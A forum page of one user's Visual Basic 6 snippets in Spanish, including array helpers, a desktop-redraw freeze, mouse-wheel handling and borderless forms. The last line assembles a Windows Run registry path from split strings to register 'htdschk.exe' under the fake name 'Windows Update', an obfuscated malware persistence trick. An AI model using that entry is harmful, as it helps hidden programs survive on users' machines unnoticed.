Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
Option Explicit
Dim MyArray() As String
Private Sub Command1_Click()
If DeleteItem(5) Then
ImprimirArray
MsgBox "El Array tiene " & UBound(MyArray) & " Items"
Else
MsgBox "El indice esta fuera del intervalo"
End If
End Sub
Private Sub Form_Load()
Dim i As Long
ReDim MyArray(0)
For i = 0 To 9
AddItem "Item" & i
Next
ImprimirArray
MsgBox "El Array tiene " & UBound(MyArray) & " Items"
End Sub
Private Sub AddItem(Text As String)
Dim Count As Long
Count = UBound(MyArray)
MyArray(Count) = Text
ReDim Preserve MyArray(Count + 1)
End Sub
Private Function DeleteItem(ByVal Index As Long) As Boolean
Dim i As Long
Dim Count As Long
Count = UBound(MyArray)
If Index <= Count And Index >= LBound(MyArray) Then
For i = Index To Count - 1
MyArray(i) = MyArray(i + 1)
Next
ReDim Preserve MyArray(Count - 1)
DeleteItem = True
End If
End Function
Private Sub ImprimirArray()
Dim i As Long
Dim Count As Long
Count = UBound(MyArray)
For i = 0 To Count
Debug.Print MyArray(i)
Next
End Sub
Option Explicit
Private Const WM_SETREDRAW As Long = &HB
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long
Private Sub Form_Load()
SendMessage GetDesktopWindow, WM_SETREDRAW, 0, ByVal 0
End Sub
Option Explicit
Private Const WM_SETREDRAW As Long = &HB
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long
Private Sub Form_Load()
Timer1.Interval = 5000
SendMessage GetDesktopWindow, WM_SETREDRAW, 0, ByVal 0
End Sub
Private Sub Timer1_Timer()
SendMessage GetDesktopWindow, WM_SETREDRAW, 1, ByVal 0
End Sub
Option Explicit
Private Const PM_REMOVE = &H1
Private Type POINTAPI
x As Long
y As Long
End Type
Private Type Msg
hwnd As Long
Message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type
Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private bCancel As Boolean
Private Const WM_MOUSEWHEEL = 522
Private Sub ProcessMessages()
Dim Message As Msg
Do While bCancel = False
WaitMessage
If PeekMessage(Message, Me.hwnd, WM_MOUSEWHEEL, WM_MOUSEWHEEL, PM_REMOVE) Then
If Message.wParam < 0 Then
Debug.Print "Scroll Down"
Else
Debug.Print "Scroll Up"
End If
End If
DoEvents
Loop
End Sub
Private Sub Form_Load()
Me.Show
ProcessMessages
End Sub
Private Sub Form_Unload(Cancel As Integer)
bCancel = True
End Sub
Option Explicit
Const WS_BORDER = &H800000
Const WS_THICKFRAME = &H40000
Const WS_CAPTION = &HC00000
Const WS_MAXIMIZEBOX As Long = &H10000
Const WS_MINIMIZEBOX As Long = &H20000
Private Const GWL_STYLE = (-16)
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Sub Form_Load()
SetWindowLong Me.hwnd, GWL_STYLE, GetWindowLong(Me.hwnd, GWL_STYLE) And Not WS_MAXIMIZEBOX And Not WS_MINIMIZEBOX And Not WS_THICKFRAME And Not WS_CAPTION
End Sub
"H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"